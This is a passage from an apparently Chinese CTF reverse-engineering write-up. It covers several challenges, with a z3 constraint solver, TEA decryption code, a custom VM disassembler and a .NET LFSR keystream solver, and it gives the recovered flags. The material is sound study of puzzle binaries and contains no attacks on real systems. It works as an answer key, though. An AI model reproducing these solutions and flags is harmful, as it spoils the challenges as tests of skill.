flag[11]- 38663722 s.add(v8==0) v9 = 15645 * flag[13] + 276267 * flag[12] + 31190 * flag[5] - 244002 * flag[2] + 81415 * flag[3] - 22940 * flag[10] - 126076 * flag[7] + 8932 * flag[8] + 112153 * flag[4] + 194218 * flag[11] + 197656 * flag[9] - 204463 * flag[0] - 219500 * flag[1] + 19777 * flag[6] - 24531260 s.add(v9==0) v10 = 279969 * flag[8]- 123977 * flag[4]+ 162094 * flag[0]- 215769 * flag[1]- 18878 * flag[14]- 80292 * flag[11]- 237675 * flag[5]- 222121 * flag[6]+ 269381 * flag[12]+ 153934 * flag[13]- 165380 * flag[10]- 157137 * flag[2]- 186748 * flag[3]+ 170756 * flag[7]- 186932 * flag[9]+ 87264470 s.add(v10==0) v11 = -87190 * flag[2]- 74836 * flag[1]+ 16892 * flag[9]- 185781 * flag[8]- 12726 * flag[7]+ 85022 * flag[12]+ 232989 * flag[10]+ 68516 * flag[0]- 120254 * flag[6]- 204892 * flag[5]- 65901 * flag[4]- 201087 * flag[13]+ 158612 * flag[11]- 49445 * flag[3]- 181860 * flag[14]- 111015 * flag[15]+ 43646834 s.add(v11==0) v12 = -170184 * flag[3] - 137671 * flag[4] - 85374 * flag[9] - 73658 * flag[11] + 230891 * flag[13] + 54346 * flag[15] - 280694 * flag[0] + 60411 * flag[2] + 27171 * flag[7] - 50618 * flag[6] + 11843 * flag[10] + 131778 * flag[5] + 13956 * flag[8] - 42562 * flag[12] - 19972 * flag[1] - 145797 * flag[14] - 58717 * flag[16] + 74613584 s.add(v12==0) v13 = 242475 * flag[16]- 234385 * flag[0]+ 124653 * flag[2]- 287929 * flag[13]- 190916 * flag[12]- 277578 * flag[11]+ 39 * flag[8]- 41625 * flag[6]+ 67262 * flag[5]- 250144 * flag[9]- 70886 * flag[10]- 223492 * flag[15]- 179651 * flag[7]+ 206538 * flag[17]+ 161965 * flag[3]- 146258 * flag[4]+ 167068 * flag[1]+ 196330 * flag[14]+ 76353817 s.add(v13==0) v14 = 29700 * flag[18]- 60542 * flag[5]+ 274107 * flag[11]+ 154914 * flag[13]- 143185 * flag[12]+ 167424 * flag[2]+ 137439 * flag[8]- 186151 * flag[10]- 77157 * flag[9]- 233090 * flag[6]- 27400 * flag[7]- 76557 * flag[15]- 108002 * flag[17]+ 103161 * flag[14]- 133956 * flag[1]- 219502 * flag[4]- 202897 * flag[0]- 250957 * flag[3]- 119297 * flag[16]+ 100812197 s.add(v14==0) v15 = -171971 * flag[9]+ 38740 * flag[4]+ -31661 * flag[10]+ -194653 * flag[18]+ -295910 * flag[16]+ 136489 * flag[12]+ 212619 * flag[17]+ 165592 * flag[11]+ 211791 * flag[1]+ 156909 * flag[2]+ -232187 * flag[8]+ -73709 * flag[7]+ 79735 * flag[14]+ 184882 * flag[13]+ 111105 * flag[6]+ 148840 * flag[3]+ -35774 * flag[19]+ -275711 * flag[0] + 135265 * flag[5] - 141221 * flag[15] - 39117122 s.add(v15==0) v16 = -186514 * flag[17]+ -7791 * flag[2]+ 276755 * flag[11]+ -294815 * flag[14]+ -238763 * flag[15]+ -146099 * flag[5]+ 184977 * flag[16]+ 178413 * flag[1]+ 287303 * flag[3]+ -71946 * flag[10]+ -73771 * flag[9]+ -129032 * flag[18]+ 200202 * flag[20]+ -150509 * flag[6]+ -156625 * flag[13]+ 14093 * flag[7]+ 192584 * flag[12]- 122770 * flag[0]- 255494 * flag[8] + 65 * flag[4] - 108479 * flag[19] + 13521895 s.add(v16==0) v17 = 210978 * flag[7]+ 300336 * flag[10]+ 207254 * flag[15]+ 216206 * flag[5]+ -63529 * flag[0]+ -274903 * flag[11]+ -10750 * flag[14]+ 25008 * flag[4]+ -100942 * flag[19]+ -104857 * flag[2]+ 266501 * flag[8]+ 229070 * flag[17]+ -234559 * flag[16]+ 298459 * flag[3]+ -172052 * flag[6]+ -98938 * flag[12]+ 66155 * flag[13]+ -84761 * flag[1]+ -283508 * flag[18]+ 288577 * flag[21] - 75407 * flag[20] - 204447 * flag[9] + 4351595 s.add(v17==0) v18 = -201846 * flag[14]+ 272550 * flag[20]+ 60398 * flag[6]+ 45580 * flag[7]+ 195108 * flag[11]+ 38596 * flag[0]+ 220445 * flag[18]+ -190873 * flag[15]+ 103477 * flag[9]+ 118842 * flag[19]+ 206336 * flag[10]+ -249940 * flag[17]+ -48084 * flag[21]+ 104901 * flag[5]+ -48576 * flag[4]+ 287104 * flag[16]+ -286686 * flag[1]+ -30253 * flag[22]+ 121183 * flag[3]+ 90967 * flag[2]+ -195519 * flag[12] - 129304 * flag[8] + 141188 * flag[13] - 56642147 s.add(v18==0) v19 = 110609 * flag[4]+ 5913 * flag[21]+ -197578 * flag[7]+ 45127 * flag[18]+ 282426 * flag[13]+ -71019 * flag[16]+ -6980 * flag[11]+ 208216 * flag[15]+ -13544 * flag[20]+ 17852 * flag[8]+ 167833 * flag[12]+ 145568 * flag[17]+ 3610 * flag[19]+ 91985 * flag[1]+ -267402 * flag[5]+ -32355 * flag[14]+ -197823 * flag[23]+ 135525 * flag[2]+ -229424 * flag[22]+ 38093 * flag[10]+ 50167 * flag[6]+ 118713 * flag[9] + 123874 * flag[0] - 89499 * flag[3] - 43090537 s.add(v19==0) v1 = -164755 * flag[9] + 175470 * flag[8] - 28660 * flag[1] + 7217 * flag[11] - 295102 * flag[4] - 28531 * flag[19] - 106265 * flag[25] - 92750 * flag[10] + 16738 * flag[21] - 231714 * flag[6] + 172042 * flag[24] - 215890 * flag[17] + 199697 * flag[12] - 84235 * flag[7] + 44614 * flag[13] + 75104 * flag[5] - 195843 * flag[0] - 15784 * flag[14] - 131950 * flag[15] - 268167 * flag[16] - 197565 * flag[20] + 24340 * flag[23] + 105130 * flag[2] - 79750 * flag[22] - 264668 * flag[3] + 50329 * flag[18] + 137774797 s.add(v1==0) v20 = 62119 * flag[17]- 17215 * flag[24]+ 289621 * flag[18]+ 53006 * flag[20]+ 95969 * flag[11]+ 202404 * flag[0]+ 247060 * flag[21]+ 144211 * flag[19]+ 280106 * flag[7]- 126431 * flag[10]- 226837 * flag[12]+ 10463 * flag[23]+ 121257 * flag[13]- 84190 * flag[9]+ 88917 * flag[1]+ 15453 * flag[14]+ 271442 * flag[4]+ 110851 * flag[3]- 231422 * flag[5]+ 176741 * flag[22]+ 266134 * flag[2]- 197327 * flag[6]- 55225 * flag[8] - 265465 * flag[15] + 119612 * flag[16] - 98514358 s.add(v20==0) v2 = 151924 * flag[25] - 265311 * flag[6] + 107604 * flag[11] - 47851 * flag[24] + 227178 * flag[13] - 162699 * flag[2] + 2171 * flag[20] + 211070 * flag[23] + 94815 * flag[22] + 124760 * flag[16] + 41462 * flag[19] - 277022 * flag[15] - 62501 * flag[26] - 17727 * flag[14] - 257908 * flag[4] - 175112 * flag[21] + 8972 * flag[10] - 71801 * flag[8] - 114724 * flag[5] - 252898 * flag[9] + 161457 * flag[1] - 64461 * flag[0] - 111493 * flag[18] + 200145 * flag[17] - 290075 * flag[3] + 158466 * flag[12] v21 = v2 - 275262 * flag[7] + 86899519 s.add(v21==0) v3 = 142850 * flag[18]- 166704 * flag[1]+ 284852 * flag[22]+ 248972 * flag[7]- 76200 * flag[17]+ 261708 * flag[19]+ 91911 * flag[24]+ 22347 * flag[3]+ 76006 * flag[21]+ 256511 * flag[6]- 100052 * flag[14]- 115830 * flag[2]- 93202 * flag[23]+ 248858 * flag[12]- 262669 * flag[10]+ 67895 * flag[5]- 111771 * flag[8]- 132193 * flag[11]- 141512 * flag[13]+ 139406 * flag[27]+ 109646 * flag[16]- 286309 * flag[9]+ 175476 * flag[15] + 138067 * flag[20] + 192825 * flag[25] s.add(flag[0] == 102) s.add(flag[1] == 108) s.add(flag[2] == 97) s.add(flag[3] == 103) s.add(flag[4] == 123) s.add(flag[27] == 125) s.add(199577 * flag[0] - 63091 * flag[4] + v3 - 285207 * flag[26] - 58820340 + v21 == 0) print(s.check()) print(s.model()) mod = s.model() print(''.join([chr(mod[x].as_long()) for x in flag]))
解出来为 flag{U_90t_th3_8451c_53cre7}
easyapk
先拿 d810 去混淆, 接着调试分析逻辑
先解密这一段 tea
#include <stdio.h> #include <stdint.h> //加密函数 void encrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */ uint32_t delta = 0x9e3779b9; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); } /* end cycle */ v[0] = v0; v[1] = v1; } //解密函数 void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */ uint32_t delta = 0x9e3779b9; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 32; i++) { /* basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /* end cycle */ v[0] = v0; v[1] = v1; } int main() { //{0x5585A199, 0x7E825D68, 0x944D0039, 0x71726943, 0x6A514306, 0x4B14AD00, 0x64D20D3F, 0x9F37DB15}; uint32_t v[2] = { 0x5D94AA84, 0x14FA24A0 }, k[4] = { 0x33323130, 0x37363534, 0x62613938 ,0x66656463 }; uint32_t v1[2] = { 0x2B560210, 0xB69BDD49 }; uint32_t v2[2] = { 0xAAEFEAD4, 0x4B8CF4C6 }; uint32_t v3[2] = { 0x97FB8C9, 0xB5EC51D2 }; // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 //加密示例 // encrypt(v, k); // printf("加密后的数据:%x %x\n",v[0],v[1]); decrypt(v, k); decrypt(v1, k); decrypt(v2, k); decrypt(v3, k); printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]); return 0; }
都是可见 ascil,猜测前面经过了 rot13 加密,在线解密一下
find_middle
之后进行常规的 vm 逆向
from pwn import * f = open('./machine.cfg', 'rb') d = f.read() f.close() vpc = 0 def get_byte(): global d, vpc ret = d[vpc] vpc += 1 return ret def get_dword(): global d, vpc ret = u32(d[vpc:vpc+4]) vpc += 4 return ret def get_next_vpc(): global vpc if vpc == 0xbd4: vpc = 0xbe0 if vpc == 0xbf1: vpc = 0xbfd if vpc == 0xc20: vpc = 0xc28 if vpc == 0xbaa: vpc = 0xbb5 if vpc == 0x5bb: vpc = 0x5ce if vpc == 0xc54: vpc = 0xc61 if vpc == 0xc6c: vpc = 0xc78 if vpc == 0xad0: vpc = 0xadf if vpc == 0xafa: vpc = 0xb04 if vpc == 0xb24: vpc = 0xb2a if vpc == 0xb4c: vpc = 0xb58 if vpc == 0xb79: vpc = 0xb8c if vpc == 0x91: vpc = 0x99 if vpc == 0xc6: vpc = 0xcf if vpc == 0xfb: vpc = 0x105 if vpc == 0x163: vpc = 0x16b if vpc == 0x182: vpc = 0x18f if vpc == 0x349: vpc = 0x354 if vpc == 0x3d9: vpc = 0x3e0 if vpc == 0x7ed: vpc = 0x7f9 if vpc == 0x5f5: vpc = 0x601 if vpc == 0x613: vpc = 0x625 if vpc == 0x1e1: vpc = 0x1e9 if vpc == 0x4f5: vpc = 0x503 if vpc == 0x522: vpc = 0x534 if vpc == 0x54b: vpc = 0x557 if vpc == 0x571: vpc = 0x585 if vpc == 0x649: vpc = 0x65c if vpc == 0x694: vpc = 0x6a3 if vpc == 0x6b4: vpc = 0x6c8 if vpc == 0x6e3: vpc = 0x6ed if vpc == 0x71b: vpc = 0x72d if vpc == 0x776: vpc = 0x784 if vpc == 0x7a5: vpc = 0x7ac if vpc == 0x7c9: vpc = 0x7d6 if vpc == 0x832: vpc = 0x83b if vpc == 0x864: vpc = 0x86f if vpc == 0x8a8: vpc = 0x8b9 if vpc == 0x222: vpc = 0x236 if vpc == 0x24d: vpc = 0x25a if vpc == 0x28b: vpc = 0x29d if vpc == 0x2ce: vpc = 0x2e0 if vpc == 0x1b3: vpc = 0x1bc if vpc == 0x30c: vpc = 0x31f if vpc == 0x416: vpc = 0x429 if vpc == 0x456: vpc = 0x461 if vpc == 0x47b: vpc = 0x48b if vpc == 0x4bd: vpc = 0x4cb if vpc == 0x8e1: vpc = 0x8f4 if vpc == 0x915: vpc = 0x925 if vpc == 0x944: vpc = 0x954 if vpc == 0x97a: vpc = 0x98d if vpc == 0x9b5: vpc = 0x9be if vpc == 0x9db: vpc = 0x9ee if vpc == 0x9fb: vpc = 0xa05 if vpc == 0xa19: vpc = 0xa2b if vpc == 0xa48: vpc = 0xa4e if vpc == 0xa55: vpc = 0xa6a if vpc == 0xa88: vpc = 0xa8f if vpc == 0xab9: vpc = 0xac6 if vpc == 0xc90: vpc = 0xc9d if vpc == 0xcb5: vpc = 0xcc9 if vpc == 0xce4: vpc = 0xcf6 if vpc == 0xd1e: vpc = 0xd25 if vpc == 0xd47: vpc = 0xd58 def dis_one_fun(pc, end_pc=None): print ('void fun_%x(){' %pc) global vpc vpc = pc while True: if end_pc: if vpc >= end_pc: break get_next_vpc() pc = vpc opcode = get_byte() opsize = (opcode>>6)&3 opcode = opcode&0x3f if opcode == 0x13: r1 = get_byte() if opsize == 0: r2 = get_byte() print ('label_%x: r%d=r%d;' %(pc, r1, r2)) else: imm = get_dword() print ('label_%x: r%d=0x%x;' %(pc, r1, imm)) elif opcode == 0xc: r1 = get_byte() if opsize == 0: r2 = get_byte() print ('label_%x: r%d-=r%d;' %(pc, r1, r2)) else: imm = get_dword() print ('label_%x: r%d-=0x%x;' %(pc, r1, imm)) elif opcode == 0x17: r1 = get_byte() if opsize == 0: r2 = get_byte() print('label_%x: r%d+=r%d;' % (pc, r1, r2)) else: imm = get_dword() print('label_%x: r%d+=0x%x;' % (pc, r1, imm)) elif opcode == 0: r1 = get_byte() print('label_%x: push(r%d);' % (pc, r1)) elif opcode == 0x15: r1 = get_byte() print('label_%x: r%d += 1;' % (pc, r1)) elif opcode == 0x14: r1 = get_byte() print('label_%x: r%d -= 1;' % (pc, r1)) elif opcode == 0x10: imm = get_dword() if opsize == 0: print('label_%x: goto label_%x;' % (pc, imm)) elif opsize == 1: print('label_%x: if(r13 == 0) goto label_%x;' % (pc, imm)) elif opsize == 2: print('label_%x: if(r13 != 0) goto label_%x;' % (pc, imm)) elif opsize == 3: print('label_%x: if(r13 < 0) goto label_%x;' % (pc, imm)) elif opcode == 0xb: r1 = get_byte() if opsize == 0: print('label_%x: goto r%d;' % (pc, r1)) elif opsize == 1: print('label_%x: if(r13 == 0) goto r%d;' % (pc, r1)) elif opsize == 2: print('label_%x: if(r13 != 0) goto r%d;' % (pc, r1)) elif opsize == 3: print('label_%x: if(r13 < 0) goto r%d;' % (pc, r1)) elif opcode == 0x7: if opsize == 0: r1 = get_byte() print('label_%x: call r%d;' % (pc, r1)) else: imm = get_dword() print('label_%x: fun_%x();' % (pc, imm)) elif opcode == 0xe: r1 = get_byte() r2 = get_byte() print('label_%x: r13 = r%d & r%d;' % (pc, r1, r2)) elif opcode == 5: r1 = get_byte() if opsize == 0: r2 = get_byte() print('label_%x: r13 = r%d - r%d;' % (pc, r1, r2)) else: imm = get_dword() print('label_%x: r13 = r%d - 0x%x;' % (pc, r1, imm)) elif opcode == 0x11: r1 = get_byte() if opsize == 0: r2 = get_byte() print('label_%x: r%d^=r%d;' % (pc, r1, r2)) else: imm = get_dword() print('label_%x: r%d^=0x%x;' % (pc, r1, imm)) elif opcode == 1: r1 = get_byte() if opsize == 0: r2 = get_byte() print('label_%x: r%d |=r%d;' % (pc, r1, r2)) else: imm = get_dword() print('label_%x: r%d |=0x%x;' % (pc, r1, imm)) elif opcode == 0x12: r1 = get_byte() r2 = get_byte() if opsize == 0: print('label_%x: r%d=*(unsigned char*)&mem[r%d];' % (pc, r1, r2)) elif opsize == 1: print('label_%x: r%d=*(unsigned short*)&mem[r%d];' % (pc, r1, r2)) elif opsize == 2: print('label_%x: r%d=*(unsigned int*)&mem[r%d];' % (pc, r1, r2)) elif opcode == 3: r1 = get_byte() print('label_%x: r%d = pop();' % (pc, r1)) elif opcode == 0xa: print('label_%x: return;' % (pc)) if end_pc is None: break elif opcode == 9: r1 = get_byte() if opsize == 0: print ('label_%x: putchar(r%d);' %(pc, r1)) elif opsize == 1: print('label_%x: printf("%%d", r%d);' % (pc, r1)) elif opsize == 2: print('label_%x: printf("%%08x", r%d);' % (pc, r1)) elif opsize == 3: print('label_%x: putchar(mem[r%d]);' % (pc, r1)) elif opcode == 2: r1 = get_byte() if opsize == 0: print('label_%x: scanf("%%x", &r%d);' % (pc, r1)) elif opsize == 1: print('label_%x: scanf("%%d", &r%d);' % (pc, r1)) elif opsize == 2: print('label_%x: scanf("%%x", &r%d);' % (pc, r1)) elif opsize == 3: print('label_%x: scanf("%%c", &mem[r%d]);' % (pc, r1)) elif opcode == 6: r1 = get_byte() r2 = get_byte() print ('label_%x: mem[r%d]=r%d;' %(pc, r1, r2)) elif opcode == 4: pass elif opcode == 0x16: print ('label_%x: exit(0);' %pc) break else: print ('op=%x, pc=%x' %(opcode, vpc-1)) print (hex(len(d))) raise 0 print ('}') print ('#include <stdio.h>') print ('#include <stdlib.h>') for i in range(14): print ('unsigned int r%d = 0;' %i) print ('unsigned char mem[0x6000];') print ('''void push(unsigned int r1){ r12 -= 4; *(unsigned int*)&mem[r12] = r1; } unsigned int pop() { unsigned int ret = *(unsigned int*)&mem[r12]; r12 += 4; return ret; } ''') funs = [0, 0xb3, 0x192, 0x339, 0x406, 0x5d6, 0x62b, 0x6f8, 0x746, 0x785, 0x7d7, 0x7e5, 0x811, 0x844, 0xc8b, 0xd71, 0xd91, 0xc39, 0x4dd, 0xb92] for fun in funs: print ('void fun_%x();' %fun) dis_one_fun(0) dis_one_fun(0xb3) dis_one_fun(0x192, 0x339) dis_one_fun(0x339) dis_one_fun(0x406) dis_one_fun(0x5d6) dis_one_fun(0x62b) dis_one_fun(0x6f8) dis_one_fun(0x746) dis_one_fun(0x785) dis_one_fun(0x7d7) dis_one_fun(0x7e5) dis_one_fun(0x811, 0x844) dis_one_fun(0x844) dis_one_fun(0xc8b) dis_one_fun(0xd71, 0xd91) dis_one_fun(0xd91) dis_one_fun(0xc39) dis_one_fun(0x4dd) dis_one_fun(0xb92) print(''' void main(){ FILE * fp = fopen("./machine.cfg", "rb"); fread(mem, 0x4534, 1, fp); fclose(fp); fun_0(); }''')
逆向分析 vm 逻辑,解出 flag{I_f1nd_th3_r34l_s3cr3t}
gamemaster
.net 程序,拿软件打开分析发现有 xor 和 aes
把 message 文件在线解密一下
之后发现里面有一块程序
dump 出来发现是一个 .net 程序 打开发现 check 的代码很清晰
下面是解密脚本:
from z3 import * flag = [BitVec('x%d' % i, 64) for i in range(3)] s = Solver() num = 0 first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20, 145,37, 24, 7, 22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5] KeyStream = [0 for i in range(40)] for i in range(0,320): flag[0] = (((flag[0] >> 29 ^ flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) | flag[0] << 1) flag[1] = (((flag[1] >> 30 ^ flag[1] >> 27) & 1) | flag[1] << 1) flag[2] = (((flag[2] >> 31 ^ flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2] >> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1) KeyStream[num] = (KeyStream[num] << 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 & 1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 & 1))) if (i+1) % 8 == 0: s.add(first[num] == KeyStream[num]) # print(KeyStream[num]) num += 1 print(s.check()) print(s.model()) [ x0 = 156324965, x1 = 868387187, x2 = 3131229747] array = [156324965, 868387187, 3131229747] key = [0 for i in range(12)] for i in range(3): for j in range(4): key[4*i+j] = array[i] >> j * 8 & 255 s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227] for i in range(len(s)): print(s[i]^key[i%len(key)],end='') # Y0u_@re_G3meM3s7er!